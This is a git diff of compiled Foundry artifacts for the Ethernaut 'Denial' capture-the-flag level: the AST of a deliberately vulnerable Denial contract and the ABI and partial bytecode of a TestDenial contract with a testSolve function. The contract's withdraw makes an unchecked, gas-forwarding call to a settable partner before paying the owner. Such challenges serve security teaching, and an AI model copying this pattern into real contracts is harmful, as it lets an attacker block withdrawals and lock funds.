escriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50378,"name":"address","nodeType":"ElementaryTypeName","src":"79:7:65","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50385,"nodeType":"VariableDeclaration","src":"163:46:65","nodes":[],"constant":true,"functionSelector":"8da5cb5b","mutability":"constant","name":"owner","nameLocation":"187:5:65","scope":50459,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50380,"name":"address","nodeType":"ElementaryTypeName","src":"163:7:65","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"hexValue":"3078413945","id":50383,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"203:5:65","typeDescriptions":{"typeIdentifier":"t_rational_2718_by_1","typeString":"int_const 2718"},"value":"0xA9E"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2718_by_1","typeString":"int_const 2718"}],"id":50382,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"195:7:65","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50381,"name":"address","nodeType":"ElementaryTypeName","src":"195:7:65","typeDescriptions":{}}},"id":50384,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"195:14:65","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":50387,"nodeType":"VariableDeclaration","src":"215:25:65","nodes":[],"constant":false,"mutability":"mutable","name":"timeLastWithdrawn","nameLocation":"223:17:65","scope":50459,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50386,"name":"uint256","nodeType":"ElementaryTypeName","src":"215:7:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":50391,"nodeType":"VariableDeclaration","src":"246:51:65","nodes":[],"constant":false,"mutability":"mutable","name":"withdrawPartnerBalances","nameLocation":"274:23:65","scope":50459,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":50390,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":50388,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:65","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"246:27:65","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":50389,"name":"uint256","nodeType":"ElementaryTypeName","src":"265:7:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"internal"},{"id":50401,"nodeType":"FunctionDefinition","src":"339:88:65","nodes":[],"body":{"id":50400,"nodeType":"Block","src":"392:35:65","nodes":[],"statements":[{"expression":{"id":50398,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50396,"name":"partner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50379,"src":"402:7:65","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":50397,"name":"_partner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50393,"src":"412:8:65","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"402:18:65","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50399,"nodeType":"ExpressionStatement","src":"402:18:65"}]},"functionSelector":"4e1c5914","implemented":true,"kind":"function","modifiers":[],"name":"setWithdrawPartner","nameLocation":"348:18:65","parameters":{"id":50394,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50393,"mutability":"mutable","name":"_partner","nameLocation":"375:8:65","nodeType":"VariableDeclaration","scope":50401,"src":"367:16:65","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50392,"name":"address","nodeType":"ElementaryTypeName","src":"367:7:65","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"366:18:65"},"returnParameters":{"id":50395,"nodeType":"ParameterList","parameters":[],"src":"392:0:65"},"scope":50459,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50442,"nodeType":"FunctionDefinition","src":"481:461:65","nodes":[],"body":{"id":50441,"nodeType":"Block","src":"508:434:65","nodes":[],"statements":[{"assignments":[50405],"declarations":[{"constant":false,"id":50405,"mutability":"mutable","name":"amountToSend","nameLocation":"526:12:65","nodeType":"VariableDeclaration","scope":50441,"src":"518:20:65","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50404,"name":"uint256","nodeType":"ElementaryTypeName","src":"518:7:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":50413,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50412,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":50408,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"549:4:65","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":50407,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"541:7:65","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50406,"name":"address","nodeType":"ElementaryTypeName","src":"541:7:65","typeDescriptions":{}}},"id":50409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"541:13:65","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50410,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"555:7:65","memberName":"balance","nodeType":"MemberAccess","src":"541:21:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"hexValue":"313030","id":50411,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"565:3:65","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"},"src":"541:27:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"518:50:65"},{"expression":{"arguments":[{"hexValue":"","id":50419,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"736:2:65","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"id":50414,"name":"partner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50379,"src":"702:7:65","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50416,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"710:4:65","memberName":"call","nodeType":"MemberAccess","src":"702:12:65","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":50418,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":50417,"name":"amountToSend","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50405,"src":"722:12:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"702:33:65","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":50420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"702:37:65","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"id":50421,"nodeType":"ExpressionStatement","src":"702:37:65"},{"expression":{"arguments":[{"id":50427,"name":"amountToSend","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50405,"src":"773:12:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":50424,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50385,"src":"757:5:65","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50423,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"749:8:65","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":50422,"name":"address","nodeType":"ElementaryTypeName","src":"749:8:65","stateMutability":"payable","typeDescriptions":{}}},"id":50425,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"749:14:65","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":50426,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"764:8:65","memberName":"transfer","nodeType":"MemberAccess","src":"749:23:65","typeDescriptions":{"typeIdentifier":"t_function_transfer_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256)"}},"id":50428,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"749:37:65","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50429,"nodeType":"ExpressionStatement","src":"749:37:65"},{"expression":{"id":50433,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50430,"name":"timeLastWithdrawn","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50387,"src":"842:17:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":50431,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"862:5:65","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":50432,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"868:9:65","memberName":"timestamp","nodeType":"MemberAccess","src":"862:15:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"842:35:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":50434,"nodeType":"ExpressionStatement","src":"842:35:65"},{"expression":{"id":50439,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":50435,"name":"withdrawPartnerBalances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50391,"src":"887:23:65","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":50437,"indexExpression":{"id":50436,"name":"partner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50379,"src":"911:7:65","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"887:32:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":50438,"name":"amountToSend","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50405,"src":"923:12:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"887:48:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":50440,"nodeType":"ExpressionStatement","src":"887:48:65"}]},"functionSelector":"3ccfd60b","implemented":true,"kind":"function","modifiers":[],"name":"withdraw","nameLocation":"490:8:65","parameters":{"id":50402,"nodeType":"ParameterList","parameters":[],"src":"498:2:65"},"returnParameters":{"id":50403,"nodeType":"ParameterList","parameters":[],"src":"508:0:65"},"scope":50459,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50446,"nodeType":"FunctionDefinition","src":"978:29:65","nodes":[],"body":{"id":50445,"nodeType":"Block","src":"1005:2:65","nodes":[],"statements":[]},"implemented":true,"kind":"receive","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50443,"nodeType":"ParameterList","parameters":[],"src":"985:2:65"},"returnParameters":{"id":50444,"nodeType":"ParameterList","parameters":[],"src":"1005:0:65"},"scope":50459,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":50458,"nodeType":"FunctionDefinition","src":"1041:102:65","nodes":[],"body":{"id":50457,"nodeType":"Block","src":"1098:45:65","nodes":[],"statements":[{"expression":{"expression":{"arguments":[{"id":50453,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1123:4:65","typeDescriptions":{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Denial_$50459","typeString":"contract Denial"}],"id":50452,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1115:7:65","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50451,"name":"address","nodeType":"ElementaryTypeName","src":"1115:7:65","typeDescriptions":{}}},"id":50454,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1115:13:65","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50455,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1129:7:65","memberName":"balance","nodeType":"MemberAccess","src":"1115:21:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":50450,"id":50456,"nodeType":"Return","src":"1108:28:65"}]},"functionSelector":"8b7afe2e","implemented":true,"kind":"function","modifiers":[],"name":"contractBalance","nameLocation":"1050:15:65","parameters":{"id":50447,"nodeType":"ParameterList","parameters":[],"src":"1065:2:65"},"returnParameters":{"id":50450,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50449,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50458,"src":"1089:7:65","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":50448,"name":"uint256","nodeType":"ElementaryTypeName","src":"1089:7:65","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1088:9:65"},"scope":50459,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Denial","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50459],"name":"Denial","nameLocation":"66:6:65","scope":50460,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":65} \ No newline at end of file diff --git a/contracts/out/Denial.t.sol/TestDenial.json b/contracts/out/Denial.t.sol/TestDenial.json new file mode 100644 index 000000000..58b9fbb1e --- /dev/null +++ b/contracts/out/Denial.t.sol/TestDenial.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616400806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b45565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001b88565b620001b3620001fa36600462001c74565b62000a32565b6200020a62000bfd565b604051620001c7919062001d47565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001e0a565b620001da6200025736600462001ed7565b62000eff565b6200019a6200108f565b62000271620011ca565b604051620001c7919062001eef565b620001b36200029136600462001f55565b6200129f565b62000237620013be565b620002b8620002b236600462001f73565b620014b8565b6040519015158152602001620001c7565b6200027162001648565b6200019a6200171d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017cf565b620001da620018a3565b6200019a6200032f36600462001ed7565b62001903565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001faf565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001faf565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200129f565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001aeb565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002050565b90508060018251620009899190620021e0565b815181106200099c576200099c62001faf565b60200260200101515f0151600281518110620009bc57620009bc62001faf565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620021f6565b90505f81848560405160200162000ad492919062002248565b60408051601f198184030181529082905262000af49291602001620022f6565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002328565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620021f6565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200197790919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d8054806020026020016